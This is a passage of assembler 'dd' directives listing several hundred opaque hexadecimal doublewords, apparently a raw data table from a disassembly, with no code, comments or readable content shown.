213CB3E2h, 66028854h, 7F997ADCh, 0B916DC6Bh, 0FA663C89h dd 3EEA93ABh, 55066104h, 8B350B4Dh, 4DDE9506h, 9847273Ch dd 829FD0AFh, 0E3CBA64Dh, 9CA7903Dh, 84AF0339h, 0BB6F0AA7h dd 0E85E0A63h, 5F45B0F3h, 0CFA213DAh, 0D41BE15Fh, 0FBC7B1E6h dd 39099861h, 702279CDh, 0E1894351h, 0A37E29F9h, 48052EFBh dd 5812EE3h, 0CAAA1137h, 779621Eh, 487D21C0h, 0DD8CE971h dd 42689702h, 0AB0FDE1Ah, 666DA5B6h, 3F986F9Bh, 0CC340B8Bh dd 0DE7EDA1Bh, 0F27254D9h, 0D555AB77h, 0F3B59994h, 682AA064h dd 730AF973h, 830D6964h, 4FD9E0F9h, 7F886805h, 0BA1857B8h dd 0ACFC444Eh, 0F52A8D7Dh, 5EAB48C5h, 5C65D148h, 0CC2A1AF2h dd 11AE3DEEh, 7C13EE1Ah, 0F6D71618h, 3128740Fh, 0D669147Dh dd 0A75DC619h, 0E3F8B951h, 98B3EDA9h, 2212C539h, 6E9E5D6Dh dd 977A8A7Ah, 5B4F9125h, 7D7C2E57h, 0A026D7FBh, 0A68C7EE2h dd 0C44CEE51h, 956BA536h, 8D080D08h, 67A3A956h, 0CB2F1168h dd 6CFE47C9h, 9C022C07h, 0CEDA224Fh, 7FCF31DCh, 479E2F60h dd 7F5C2383h, 6B0A4399h, 0E7501640h, 0CAEED26Fh, 2741383Eh dd 12806E1Ah, 5FF0838Ch, 60887EAh, 0F7D01C40h, 0BC5CEED7h dd 0BB67C88Fh, 94FD5F47h, 73C5705Ch, 5FF93C07h, 627ACB0Eh dd 15331EFEh, 7B6F326h, 73C48349h, 0F258F41Ah, 3358774Bh dd 0DF35156Ah, 5368D564h, 75D8D9E7h, 0A1CAC3FDh, 5BD0E6A0h dd 9DE0AE15h, 0F51A0D1Bh, 8DFCE21Eh, 0A63456C7h, 0F1A74290h dd 3C08EDEFh, 28F56479h, 7F0AA397h, 1335D088h, 0EE023625h dd 0D1386B8Fh, 0CFF8BB47h, 0B5CF4A31h, 0D2789FD9h, 0CB6AD622h dd 660D5FCAh, 0BE889593h, 0FF113587h, 0BA646E92h, 0BA71D14Dh dd 0A7A68CF9h, 6860A98Dh, 0CE9B842Ch, 0AEA1B199h, 77C860B2h dd 0A9FFF6EFh, 0EB6A45B1h, 8892EE19h, 6F12A553h, 0C882F1Dh dd 0B2B6FFA5h, 0D0FD65A1h, 9BEA0B03h, 0A35AD0F2h, 0A70D01FAh dd 2B7BC9C4h, 5156FCBDh, 0BD0EBE00h, 5C607D0Dh, 0EE3264A0h dd 69896416h, 10E339Ch, 35A694B0h, 5A586262h, 6659BC7Bh dd 3DC99A3h, 0F4C1AA4Ah, 8A79DFC5h, 0D8FB20BCh, 1CEDD4A1h dd 0F3E52FCAh, 56B13EFEh, 7E829C8Bh, 35AE1136h, 9F4B73CEh dd 9D418DE0h, 0EBE4A599h, 922FE71Ah, 28E599B0h, 38FD857Ah dd 71325265h, 47DC748Ch, 5B5FE88h, 852583D2h, 64914911h dd 2858AC6Ah, 61EEE312h, 0D63EE6F2h, 42FB1431h, 0FA3CCDEDh dd 11687C31h, 0CFE00090h, 0D2BDADBBh, 8C0CE1FDh, 3F8735A8h dd 9C3AA8CCh, 0DC3C5A59h, 0A83D466Fh, 88324AF2h, 37F519ECh dd 0F01294DFh, 813E9744h, 0BA778270h, 5ACB166Ah, 2401B063h dd 7BB4EBC3h, 0D7E99F35h, 22EEB436h, 0CE172710h, 0B5CEBE5Ch dd 0E6B14666h, 9747FB50h, 0B30A2D3Fh, 4A687904h, 9AE87FA7h dd 7C5AE2BFh, 4F2940B8h, 0D485891Ah, 96D97B18h, 59FA8709h dd 382E5B7Bh, 0EE9371Fh, 22A55BE0h, 60216C45h, 0B46466B3h dd 19E5EEF7h, 8823F32Dh, 0F60C2C28h, 0B48FE40Ah, 0BC6BAF4Ch dd 0CFD0772h, 0F3EDD206h, 95FEFF93h, 70775382h, 259E2EFEh dd 9D3FA72Bh, 0D4653B8Ch, 280B9134h, 3B2A7D3Dh, 6303E1DFh dd 46B6FB2Eh, 243E768Dh, 0EFCBC9CBh, 0FA958F63h, 4FBC0030h dd 0E7FEFC62h, 28A18671h, 0AFF1A239h, 0DDC090DFh, 0F56B99Fh dd 0AD30B280h, 2B16D81Ah, 12ED38DAh, 7E810B6Ch, 2461AB34h dd 0BA0E2E7Ah, 1D582C9Dh, 0F3DBAEB5h, 7CCF448h, 0B93D2758h dd 46078B84h, 24D39CE1h, 0D945D253h, 540623CAh, 4EA5F100h dd 0C807FBB5h, 23E4680Ch, 0A3A102DEh, 3A713248h, 90FF118Eh dd 0B9C8ABAAh, 0F8E72D58h, 0FF1C46B0h, 26D506B2h, 4E6ED3B2h dd 0C404A96h, 4172D352h, 208C18D0h, 99FB8181h, 0D27E60FEh dd 7F7899Dh, 0B0E8FA17h, 0A7C5E53Fh, 6E76AE2Ah, 1382306Eh dd 88BAAECAh, 0FD5328BEh, 49C8AFDDh, 0FC31FC1Dh, 0B7B0842h dd 43B1E71Dh, 0D39CDB13h, 928B0933h, 392AD40Eh, 0C9978E3Eh dd 60384BCDh, 0E9C7D4B6h, 0A8E64CBh, 0B627C1D4h, 0E71660A5h dd 2F4D059Fh, 0F9DCF4DDh, 0BF4AB066h, 66D15E1Dh, 2F626840h dd 767F47C5h, 0DBD71DB3h, 0D942D31Ch, 759F8449h, 11408358h dd 70E68FE8h, 77AF2054h, 0BA39859Fh, 8BCE7A46h, 0DEA4DF6Ah dd 51587631h, 7FC7DA95h, 58E57398h, 0F0A94226h, 63AACBCEh dd 15BA9F66h, 25FDFEBBh, 0C8D402D2h, 1747ACFFh, 0BCF9AFE3h dd 0A0493B77h, 0ACF7BF00h, 510DCF99h, 6230AA09h, 12E6B9B5h dd 0ED74D16Bh, 2E500F48h, 94406764h, 0A291D567h, 0F5B010B2h dd 7576F5Eh, 0FA0CD72Fh, 7A8E99B8h, 116BA497h, 0E5C86964h dd 5CDB2B36h, 0A6C8983Bh, 0C0A92F7Bh, 6D8F63BFh, 0C1C785DFh dd 0C224EDE0h, 0DF7FD997h, 0DF2F3CCCh, 2B775790h, 0A8B0960Fh dd 9D56DFB6h, 0C5C9C97Eh, 3AF75B9Ah, 553E3F87h, 4E0662DEh dd 3367D55Eh, 439EF79Ch, 541B41Ch, 0C25B2601h, 0FFA44648h dd 14EB3B5Bh, 7C8E8755h, 1D9E2A76h, 1B96E62Fh, 0C944B5A8h dd 2AEB4A3h, 7965281h, 1FED8792h, 5D7296BAh, 9184EDBFh dd 0BFFBFB38h, 14023507h, 0D322C119h, 14C23847h, 10202DF2h dd 5A9C7256h, 0FBB95AE7h, 0AD305EF0h, 0C2436614h, 8593D623h dd 79ADE059h, 0B59FC548h, 0B1446BCDh, 8A19BE81h, 0A296859Fh dd 0A9653D0Ch, 0B7726F2Ah, 0AF7B97BDh, 84A89D0Dh, 199E5DB0h dd 0BFB77650h, 98106379h, 35EC594Eh, 0D87E0FE3h, 0E1A03637h dd 520A545Bh, 86DAD682h, 0C0ABE218h, 0D816E6C1h, 63A4B661h dd 0B19ED38Dh, 8A048EC8h, 469BF588h, 0D6B1AAEBh, 31117267h dd 5A24FBE8h, 0C07539A9h, 300CAD61h, 6F9AA11Eh, 11084B73h dd 5A04E1EAh, 0FFB81421h, 1142A78h, 0BA13EF75h, 335226EDh dd 74BEA43h, 0B86288A9h, 61FB7D28h, 0ACCD7C2h, 0BB02AA7Fh dd 0FE525A27h, 4642919Eh, 0F415D86Eh, 0E178AD19h, 64E5DB15h dd 9AF95846h, 0D7E7160Ah dd 5CCB4C96h, 1B8909A7h, 0EB112229h, 0FC7B6E8Ch, 38DDD429h dd 3340561Bh, 87C61F51h, 0B0268FF1h, 0CFB8EDC9h, 7FB6EE0Fh dd 54A4E296h, 64E7FC1Ch, 0ACA7FC73h, 6F5775C7h, 529400CBh dd 90433508h, 3323B376h, 0C8CA3516h, 4820768h, 31B90157h dd 67A8080Ah, 2B7E3DEh, 0EB2092A3h, 0FCDB8A7Dh, 0B9AF30BFh dd 0EEF89448h, 4625E387h, 73F8C349h, 0F1236C3Ah, 2B908B36h dd 53ECACACh, 0F9201949h, 87978634h, 0BBF8BFC2h, 5FB2A3E0h dd 3FF5DFB1h, 4C1CBECAh, 5FA8CC66h, 64D019FAh, 9BD2025Ah dd 5D26D886h, 0FC86CF5Ch, 877B2DE4h, 0E610FB4Ah, 0E2580319h dd 88BCC38h, 6FF80FBDh, 4068795Bh, 0C159D0Ah, 29032984h dd 73A2D484h, 67F59F52h, 1933BC8Eh, 0C300CF9Ch, 309044C6h dd 0CBEF70D0h, 0C3A62F7Fh, 87802D89h, 612517A9h, 0A201F16Fh dd 2465A6E9h, 7012D95Bh, 2EB0F364h, 0F3B03685h, 0A252139Eh dd 0F4B0A46Dh, 0C5B5F4C5h, 0B7279682h, 0E249E3F0h, 0C32CD1FEh dd 18F330ADh, 0DBD868E5h, 3304B71Eh, 0AB3FA09Ah, 15A60567h dd 190F9C11h, 0CCBAED95h, 7D9EE57h, 0B6EA3A86h, 0C9AE06EBh dd 80F0164Fh, 4E43E38Eh, 88742EF6h, 0ED66D2B5h, 7ACA62ABh dd 267FBE0Ch, 0B03DF934h, 0A9766EFDh, 54BBD616h, 448E88D0h dd 0BCEE9160h, 1769885Dh, 7F3A3474h, 4F2CE9E3h, 0E2664304h dd 1C096A4Dh, 0AFFB96E3h, 0FA28B514h, 0D875B63Ah, 3515B463h dd 0A6C4F19Dh, 455BF928h, 0D6411A22h, 0C95248CEh, 869742A5h dd 0F5E829B3h, 180238DBh, 0E977FD6Ah, 4B5452BDh, 1F4D1D19h dd 3B6C6D3Eh, 3371264Dh, 4A2F5F20h, 0BF19AC5Eh, 0B4760A6Ch dd 71A7255Bh, 40FC712Fh, 6DF3133Bh, 402744C0h, 5A71A837h dd 229A7C4Eh, 0BF768872h, 1B1B7CC3h, 3A88B414h, 0E9AE4DFEh dd 70601860h, 8C0D331Bh, 0B043BEC5h, 0B0DBEBFAh, 0C8D6BEFDh dd 907C8D43h, 0E8BF5309h, 0FE817C20h, 0C3BEE66Ah, 0E3EE1348h dd 6E73A754h, 6B27D64h, 0D92CC10Dh, 230DA6Bh, 8D80CD1Bh dd 0CBE3F499h, 4E068E86h, 6857D7B7h, 0DE899B1Ch, 54F46F98h dd 66647E72h, 21D77374h, 0BACCB62Ah, 0EFC3F09Fh, 0E2D49244h dd 4E32EFB4h, 0EB84BCEAh, 0FD583072h, 857EF3FAh, 7608B65Fh dd 28B35BE7h, 720C45C0h, 0B0D233F2h, 88915238h, 0B66F613Ah dd 0E60CE12Dh, 9612ABFDh, 0ADFBED1Ch, 15CCF688h, 2D021120h dd 0AD84FB09h, 85B906B1h, 53D2656h, 9ACD24A7h, 80892418h dd 65C3D4B5h, 16EB4986h, 0BD275D29h, 8E32A746h, 0DE87F647h dd 435B5C40h, 54ADFC16h, 27ACDAB6h, 0AE7AC0D1h, 0A7BC4BA8h dd 0E574ADAEh, 0C3E2A1C8h, 81283714h, 0C6F35D11h, 0B56686ABh dd 0E0D75757h, 7330B695h, 0F784373Ah, 5DF6CF63h, 28D277D9h dd 0CFB67C17h, 0DF7E4386h, 9821AB8Dh, 0E4B33E85h, 0FB2143C3h dd 8E65280Bh, 0FD8C6112h, 4749CC9Fh, 621C98A1h, 3DDF36BAh dd 4FF02D12h, 35BF5EB0h, 0C291AC74h, 4DD482FFh, 9B42BFFCh dd 0F8AE9095h, 7259CF41h, 472A31A2h, 0BA77DEE7h, 1462C7C6h dd 0EDF35C7Fh, 9B692D93h, 3C6F29EEh, 0B1CA9049h, 0F09769E5h dd 7188EB72h, 6D6F6D7Ch, 0D3F82F15h, 6BFFE0D9h, 0E4756EB8h dd 0A0AB0C70h, 0AFC5E88Bh, 7F676A2h, 1A255651h, 0C18E3944h dd 90D93C8h, 1A59E269h, 0B2487A97h, 86B0D8AFh, 0BDB766CAh dd 1CFFF96Ch, 4620412h, 6F172B15h, 6A798C37h, 1D60335Ch dd 0FD532123h, 313EFD8Ah, 5AA78F47h, 4B0EABC0h, 5861450Eh dd 1AFE3073h, 0E6C3602h, 2EFB9273h, 0A818B9B9h, 7EBAA3EAh dd 0F07FAF70h, 1E90736Ah, 0D005FFA0h, 0D86CF184h, 0FD1E332h dd 0CD67FBB2h, 8471B10Fh, 6EA9EE83h, 0EDE68349h, 0BEC1876Fh dd 30076A3Ah, 128B587Dh, 3A31DE63h, 7A0311A4h, 3438E33Ch dd 515FB926h, 876C12CDh, 40429B32h, 718D1EC5h, 51B4AD74h dd 18637962h, 2290ED02h, 53F33917h, 8BCD6262h, 972BB881h dd 1BBC94F3h, 5FFE099Bh, 1C9DEEE7h, 40F035F7h, 5E3FA18Eh dd 0AAE8BBC5h, 0FC3A455Ch, 0EA74F518h, 0C7D341E4h, 7BA656B1h dd 65677B18h, 3C7E2106h, 1A1EFEB1h, 0BA176F48h, 1448E1EBh dd 0E310004Fh, 4A28559Eh, 67518460h, 3C18B00h, 0F2F97CB9h dd 1F38DF1Fh, 0F960C9DEh, 0ECBB282Dh, 55C16EC1h, 667270BBh dd 0D97852F9h, 0C061B11Eh, 0D063CB23h, 353369A9h, 48C77313h dd 0B6DDD67Eh, 6FE34042h, 614E8119h, 455D0403h, 0F124C8BDh dd 0BB56FD9Bh, 9B7FE76Bh, 735B4644h, 0FE488768h, 979C45EAh dd 994142Dh, 0CA5A13B4h, 42C7B3E7h, 0E9CA287Ch, 0F4CFEC9Ah dd 9CED8B92h, 2D2C4979h, 0D79013BAh, 579A273h, 0D592710h dd 0BBB7679Dh, 0B92BC153h, 717D42C7h, 0FDA1CF09h, 690923A5h dd 208A6AF0h, 0B5BB136h, 931BFC71h, 1BEC884Ch, 0A256BE49h dd 0E86CB09h, 0CFF02E87h, 8139A063h, 0A6B6ACAFh, 65B5D291h dd 0F9B1DA6Fh, 0F00E380Ah, 0F8EBCB00h, 0EE6079CAh, 362B1CB1h dd 7BFECC9Bh, 0BC54643Fh, 95CD0A1Fh, 2327E21Bh, 98629701h dd 0C80B1DF9h, 3E32872h, 447B5737h, 0BB99664Ah, 58AD213Fh dd 0A5D0A930h, 6AA29D21h, 9EFAE5BBh, 6ACDC871h, 6985EDF7h dd 0C8287CA9h, 4435E95Ch, 0CA3F4CA8h, 1B61B931h, 6D66234Dh dd 5756F26Ah, 123BBC40h, 6014261Bh, 0EC9B39F5h, 0EDC69C7Fh dd 2D4B40E3h, 0FA6FCD73h, 0FBDE932h, 8713BC5Dh, 35550BA6h dd 0D8EAD8D7h, 0FDD39C0Fh, 7BF99645h, 0D06C24C7h, 1D3ED682h dd 36E5153Ch, 0DEE7C909h, 302B712Ch, 0B14D4A38h, 0DC1D6B31h dd 11E463E2h, 0C4412766h, 0D8DBB860h, 4702C45Eh, 7A2F5158h dd 0E8724E8Fh, 0AD440CC4h, 7E78C914h, 0DA7E7F34h, 0B4F0D9Fh dd 0C64A171Ah, 78C04584h, 0A8790E7Eh, 0BBB5B56h, 70185104h dd 2876E62Eh, 439FE9CAh, 0B6C5FFCFh, 7A658565h, 0AD0E741h dd 179C601Fh, 0E730BCA5h, 0C164887Ch, 8129DF56h, 12B5F683h dd 73765DC3h, 95F59E7Eh, 66FA2EF4h, 0C95ACE47h, 54F34854h dd 2FA6A678h, 670950CEh, 4E56502Bh, 9A3A7BB4h, 6FA09A9Ah dd 0B87C3152h, 70900AEDh, 0AC5DBE88h, 0BB01AD7Eh, 0DEDB4453h dd 8292D946h, 9C1ABBA7h, 0C7EAC8Ch, 7B4F12EDh, 926E8C69h dd 8FC3B102h, 5994ED01h, 63EF5574h, 70AE6541h, 2F918AFh dd 97C9F2E6h, 0DAFA5156h, 0A0947A47h, 0D12A52DAh, 94175E0h dd 7F44D070h, 8C420438h, 7A6EF894h, 0ACEEAE35h, 0A8BF02F0h dd 4B12BB42h, 55694840h, 17BFD9Eh, 67BE3A76h, 8E44ACA1h dd 0F720A8DBh, 39ADA481h, 8960D7D7h, 32413924h, 0A0D87764h dd 7AD4C7A8h, 0DF47587Ch, 9DCE61C8h, 0CFB3DF8Dh, 0C2EC9551h dd 1BE85AB5h, 0D32D1D14h, 84A9E67Eh, 119CC9EAh, 37644A0Ah dd 0CDEFD9BFh, 58738114h, 4BD8793Fh, 92D2A95Ch, 3FDC04D8h dd 968D5DC0h, 0A8635C38h, 0F1B6B468h, 2B0E2755h, 0E1D78A82h dd 0F1A75B0Fh, 0C4083A1Ch, 42DE4976h, 0BF783CFDh, 0E31E2C0Eh dd 0D171B843h, 149825B4h, 0F12F0F8Fh, 26345056h, 3AF204C7h dd 455897A6h, 96E9FFFCh, 0BB6E0208h, 4F92299Bh, 6DB72742h dd 0B2BB8733h, 0B6FF9223h, 0B3B742D4h, 4E9CCE80h, 62FE4D55h dd 0F351CDFCh, 354887ECh, 0F285FF25h, 328FA020h, 0F57460E8h dd 0E6585629h, 63CFED69h, 8C792C41h, 952DF7Eh, 79F4DE83h dd 40583FADh, 2D31686Dh, 0EB91A7F9h, 961339CBh, 0BFE3CA4Bh dd 3DCAA966h, 0A898E595h, 0AF653228h, 0DCB9AB35h, 309FBE17h dd 41B30A24h, 458E455Dh dd 0CAD54D0Eh, 7D488EFBh, 63904C85h, 0AD6D6563h, 70C3BE14h dd 20D2900Fh, 0ED1AC2C8h, 0E2E28231h, 5F3D60F0h, 0F52876F7h dd 36621D06h, 0CF00B367h, 0B40E4172h, 0ED55C375h, 0BB9E4A02h dd 6E3D53EDh, 3450ACE2h, 42DBFCF1h, 0D9EDDAC8h, 0CB3EAAA1h dd 0F4178CC9h, 0D86F8F4Bh, 0A7BE0AF6h, 0AC4EB783h, 2DDE02F4h dd 168E8DD9h, 9EA290EEh, 0AF43F467h, 22F25BFAh, 726FAC7Eh dd 0D20F65D7h, 0FC7B205Fh, 0C2AAF6D1h, 25D330Bh, 0CB9044C2h dd 6130D470h, 4D26FFF4h, 3168AF88h, 0C82EBDC2h, 38B575B4h dd 2F6EBD5Eh, 0CCA75E26h, 44EE6A25h, 590BD9F6h, 0B1C8809Ah dd 0EEE9F447h, 0AF3F4760h, 606D301h, 1C433DA7h, 3529220Ah dd 57E11900h, 7346EDBFh, 6C9DB988h, 0B666CA42h, 8942ECFCh dd 0D8B1AB93h, 49D3B06Ah, 31FAB7EDh, 0B02EF781h, 6446CA5Ah dd 0CDE16DDCh, 91EF8954h, 30EC93FAh, 0FFB86705h, 56D9594Ah dd 28291E70h, 13FD3522h, 0A5E4FF8h, 14AD4955h, 9077DADFh dd 0B37483EBh, 4C8F4E71h, 4B701A3Ah, 0D56032Bh, 0E0E98415h dd 50BAACCh, 64A24DFEh, 696C14E7h, 0E78DB494h, 172C374h dd 15BCC30Bh, 0C8EF0A7Ch, 87C99D11h, 0B688A151h, 0C2C134FFh dd 796F291Fh, 4B7914F1h, 7F079B72h, 96547548h, 0FA5D63FAh dd 0DCD5B1E3h, 4A8521h, 752A1DFh, 81D2BBB9h, 31C363FCh dd 1161076Ch, 66B4621Dh, 8F12215h, 0F69DF0AFh, 71F950B1h dd 0C11624ADh, 90C965CEh, 0E0A8F728h, 0A65E1872h, 79BD1A72h dd 0E4B2A8ABh, 0CA93D0B8h, 221E8E47h, 0F08F8B94h, 4206603h dd 1449F88Ch, 0C1FBD7ACh, 7259C150h, 68F89D73h, 493DA3C7h dd 2119C788h, 570FCF83h, 0E2615E6Eh, 77CFCC8Ah, 3EC55C65h dd 0C3014119h, 8D730A78h, 14CC0BDAh, 661B6FD3h, 8789585h dd 10F91A9Eh, 43E438Dh, 3DFC363Dh, 3A78431Bh, 276FAEFh dd 0D9AF2EF9h, 0B861E9FAh, 0A971FD1Ah, 7D86228Ch, 90A288B0h dd 3B0A0A07h, 6374A439h, 57DC9620h, 345F182Eh, 7B3BA1DCh dd 567BB210h, 0A7AD4141h, 0F7EE34B2h, 0EFB8698Ch, 6FDEA6DCh dd 0B1237657h, 516D26D7h, 5419F7A5h, 4ED586CBh, 806A8D22h dd 0AFB754E5h, 2DED773Dh, 3C28DC51h, 1778377Ah, 5C666144h dd 5D9389Bh, 0D0D0F5EAh, 0D2777E36h, 0F7ED5CDBh, 49386406h dd 85B93849h, 136C90D6h, 0B803D51Bh, 7ACF0AB6h, 9C66D329h dd 6A31E754h, 50815236h, 51310A07h, 9283ADE7h, 6E3EE969h dd 0BD84A192h, 7C5236FCh, 559E2135h, 936D811Dh, 0BAF1FB53h dd 78DD7F91h, 77DA32A9h, 485BB646h, 0A90E65DBh, 671A4179h dd 1DE2B052h, 0E950579h, 60301B62h, 1A115552h, 0CA007087h dd 0BDBCCB7Eh, 2A7B6FDEh, 0CA034131h, 59F4531Dh, 0F27F617Eh dd 81651B90h, 37F3E22h, 7D721DAFh, 5FC61341h, 46E91712h dd 364ECF01h, 0D0C8A319h, 0FC4233FEh, 6312C92h, 0ECD6FCF9h dd 7A3A84A0h, 4EC4A666h, 12301C0Bh, 0DA90122Dh, 0E0E343B1h dd 0C1329E55h, 0FD4E01E7h, 8968D419h, 1BC0E50Ch, 0F750E379h dd 0D150D86Ah, 0DF008A60h, 0CFF3FE9h, 283E8Ch, 0EF1A8FFh dd 3F733246h, 83AC8C35h, 0AAB7BB20h, 14A60F49h, 0E6AE79E8h dd 24EE0BD4h, 41489D85h, 0E5E701A1h, 1122B631h, 0EFDCE0C0h dd 3F724D98h, 2AC3352h, 5B72C890h, 0A0267A61h, 410950D8h dd 0EEDC7130h, 0E60CFA4Dh, 974CD358h, 0F2ECCB4Dh, 0F982C01Dh dd 1999F29Fh, 653EEC9Fh, 91B4273Eh, 725061E7h, 9B0EC6CDh dd 8452B164h, 10EECD65h, 7530A7CFh, 9F5D05Ah, 56ADB6A1h dd 0F67B687h, 0BE7AC290h, 7435E2Bh, 23B91C34h, 7F89CD6Ah dd 0B089E171h, 2CF8AD0Ch, 82E3006Ch, 0C02C66B6h, 45C13743h dd 0AB4463E4h, 42E721BBh, 81563EC6h, 73D92D19h, 3C8A50A6h dd 0DEBDAA53h, 0AED08EB2h, 5332C5D3h, 80349A14h, 8E30B531h dd 9E3EA86Fh, 0A6F4D828h, 4096C93Ch, 0EF50A225h, 71F01BEBh dd 9D52167Dh, 0F8D12A75h, 30BBD28Ch, 0BB0C821Bh, 1E93DA1Bh dd 22E5595Fh, 99158C3h, 6E014625h, 0B56D2380h, 0B15CE999h dd 392518CEh, 0B2E34F74h, 1ED19518h, 0EB582C04h, 0CE42A80Dh dd 15FA5C10h, 671F0DE0h, 77BF7D66h, 6DAEE6FCh, 9A0CDC6h dd 0C228DEF9h, 600B6C56h, 6032126Dh, 4FC50414h, 13657B57h dd 1DF8AD8h, 1154021Eh, 837E8493h, 4E0C5F48h, 0E030938Bh dd 0FAC969D5h, 0D1CCE3F0h, 0CC4628F1h, 91D55E25h, 0D4F1F682h dd 5B1A09B6h, 0DF76B656h, 84525CE0h, 0CB34D0E7h, 46949F7Ah dd 0EB11B6F5h, 345C1BBCh, 50211086h, 0CB6F318Fh, 0AD65C23Ah dd 682AFF3Bh, 426A8BA6h, 0D5C3A65h, 90676ED8h, 0C5849FBh dd 5BC86B1Ch, 14CB86D0h, 859509Eh, 0CF72849Fh, 0BD5DD373h dd 0C5431FA4h, 76515BD0h, 0BDCE72FAh, 552668A9h, 58160300h dd 0DE8B0E4Bh, 521F998Fh, 599B6785h, 2E9BD027h, 524BED45h dd 8FDB6DB2h, 0C975A381h, 9AF5FD1Bh, 0E52819AFh, 1D3019E6h dd 0A188ED92h, 21C4E6BBh, 0E95F01F2h, 0CD7B4011h, 39964964h dd 311EC968h, 0F9F9169Ah, 366AB0D9h, 0CA16E1Fh, 7BC28526h dd 3D553C73h, 0BBFB104Fh, 5B06E1E1h, 8C6F3B24h, 9B632305h dd 0FC7CFFFAh, 6DBD6D57h, 2B326FAAh, 0BA853512h, 0EB4A531Ah dd 0ED05A476h, 90005BE3h, 38C6168Eh, 91156A92h, 0C3F85C26h dd 0B722FCDBh, 0A970C0CBh, 0A8AB2F0Dh, 6F6B3A65h, 0B316B7EDh dd 8C51DC74h, 4C8BC836h, 8631C3D3h, 0AF624A4Fh, 0E8318E73h dd 2FD0D127h, 678AEEA7h, 107A68A8h, 4E492102h, 1E1C4083h dd 80132645h, 40057D19h, 0F6497A6Dh, 3E759C27h, 920FF0h dd 5C48669Ch, 9D12C0C2h, 0E62A74F1h, 584D346Eh, 0EF327351h dd 0C1A5ADBDh, 0FC14D10Ah, 6B52B909h, 5611C288h, 8C7FC02Ch dd 43EB7104h, 0D0E2BBDAh, 45E1E41Fh, 0CF85F0BEh, 5565B0F7h dd 0DA2CE786h, 0BA716558h, 8C207336h, 4864B5E8h, 27D13178h dd 43E7B963h, 139654C9h, 0E18DEBEFh, 7687D57Ch, 0DAD90CE3h dd 26B4FFDAh, 83771DBAh, 3BF36258h, 7F98519Ah, 45C05A06h dd 7A1AB20h, 603CF46Fh, 0C4B1169Bh, 53B2EFC4h, 0E6F698Fh dd 0C83D0644h, 59D9E9BFh, 0FFFFE5C5h, 862A0073h, 9D128B1h dd 6B80BA7Bh, 2FF04781h, 76033DD0h, 0E5B07677h, 0C7E2A32Ch dd 0EA2A9E3Eh, 594A07DBh, 75AEAF8Ch, 0A9A7432Dh, 0BF3CF048h dd 4DCB34BEh, 685C6FDFh, 487E9879h, 12CE398Ch, 66E9A014h dd 0CB7DF6B7h, 7E0A0BC4h, 91782C98h, 6F140C15h, 436697C0h dd 50EDCCAFh, 44C5BB10h, 270480E3h, 0B36830Ch, 0F02E2BB1h dd 1A100A66h, 19FE8E29h, 1A5143F3h, 72D9B08Ah, 113DE020h dd 0AD9B17AAh, 0DC681271h, 903161B3h, 76E009FDh, 6EAE9A43h dd 1B426ECCh, 4EE558B4h, 0F689E6A2h, 7D6E333Dh, 0E6908829h dd 0C7365438h, 0B3EB7023h, 0C5DE1EECh, 47B39582h, 6BC62C3Ah dd 80083CC8h, 0F839B020h, 0E6E42FF0h, 7BF95657h, 36AE6EC0h dd 6FC9261Bh, 4D405EDCh, 5650051Ch, 0AA237C3Bh, 6035FDCBh dd 30F56A8Dh, 93BE7A73h, 0DB4F9E70h, 55FE056Ch, 0E1707C74h dd 110B6DA3h, 1BCE80F3h, 0BB81D180h, 0BF6B3E8Ch, 62E379F7h dd 0F4554CD0h, 0ADCE84DDh, 0E3814D61h, 0BCD6DAA2h, 4FFF2CCCh dd 424C49C9h, 955D5685h, 0B61E9DAAh, 22B5E31h, 6624D1EAh dd 5AF07CDBh, 0EDE8FEE5h, 9FBC0FA3h, 0D985426Fh, 0D3E8DC7Dh dd 4903B2D0h, 64806EBFh, 0D693784Ch, 0ABC9CBD5h, 82FA42A1h dd 1004CE6Fh, 0A760C3AEh dd 12E5B12Dh, 0A1092392h, 5D9E9D6Eh, 84FF5012h, 6DEC210Dh dd 54B59734h, 727DFA1Dh, 0BE04345Dh, 6DE8DB99h, 3435255Dh dd 62661AE5h, 3B87D16h, 0EEDD48F1h, 0B879AEB1h, 6A56FD65h dd 20D1EF60h, 7BC80B68h, 51D16318h, 4F9B21E4h, 10F81159h dd 1D6C9B07h, 0F5FF3F15h, 97BF046Ch, 7F4C11C7h, 55CEC4EDh dd 0ABF9BCA4h, 0FA0CF2CEh, 15B50180h, 8EEB6076h, 583C7697h dd 0E6577600h, 0B91DCDD2h, 0DD768BDEh, 4AC656B4h, 0A2AE0DDDh dd 0CDEFD0C7h, 930427F0h, 0E80440C8h, 612F8F4h, 1972AB17h dd 0D3AA1F99h, 0EFDE063Fh, 0EF25C570h, 21BFFAB4h, 0AFC3261Ch dd 10AB09A6h, 44B91BFh, 3915A0Eh, 84E4A2EBh, 192598D6h dd 4C1FDFB1h, 550FF1ADh, 1048D5F7h, 928A950Eh, 932C27A0h dd 49F0E106h, 0E512CAD9h, 0D0956EF4h, 0C28B1BBFh, 29B8E2CAh dd 4AECDED7h, 74EAE953h, 0FDCC5081h, 79280AACh, 0DB1CD054h dd 0A7FEE888h, 2D2AE3ABh, 88EE6D33h, 88FFFA78h, 0D0C049CDh dd 4847FC7Dh, 26A376EDh, 0A635F7A0h, 5D34AF8Ch, 646B33EAh dd 189351A7h, 0F97496BDh, 0E1C81F0Ah, 0B0D67453h, 20A4F209h dd 7ACE285Fh, 0A818291Fh, 0C75B7DA7h, 0E2CADBD2h, 66E260B3h dd 1F2AED26h, 78ADD31Eh, 0D8516A66h, 642151C5h, 0A689E71Eh dd 0DE59D805h, 468EAA50h, 0C747B43Bh, 0F2D81F5Ch, 9E67DC5Fh dd 2A2316CBh, 0D96CF75Ch, 8149A04Ah, 8B619FAEh, 99EE0513h dd 643F9512h, 0D9BF83A2h, 24D4775Ah, 0EA117FD4h, 0A489F85h dd 0AC6E9DA7h, 98C963BAh, 0CB01548Eh, 16E00907h, 7C244B3Ch dd 1B45E58Ah, 52DA2C9Bh, 0DE405DCDh, 0BC035AB5h, 0DF3FEF21h dd 0FAED2503h, 0E313417Ah, 0FEF7B12h, 9AB9F6B5h, 0D2A8928Dh dd 0E172E5Eh, 0E26FA1A3h, 478E443Fh, 295F2DE3h, 833FC690h dd 405EC421h, 8ACEF732h, 0B4243008h, 0CEA7B604h, 1691D88h dd 0FC0EF3D6h, 0CD64BF4h, 9578D586h, 303DF781h, 7AA1A490h dd 871B5102h, 0E399D6C9h, 0AA314924h, 0B5F85221h, 2AB9E266h dd 0ED272E6Fh, 428F1932h, 0C9F6AD63h, 18DF420Ch, 8CE50FF6h dd 32FC1C87h, 2D186F43h, 0DD5D6F58h, 7CED3FA0h, 4397D036h dd 0D8F3715Dh, 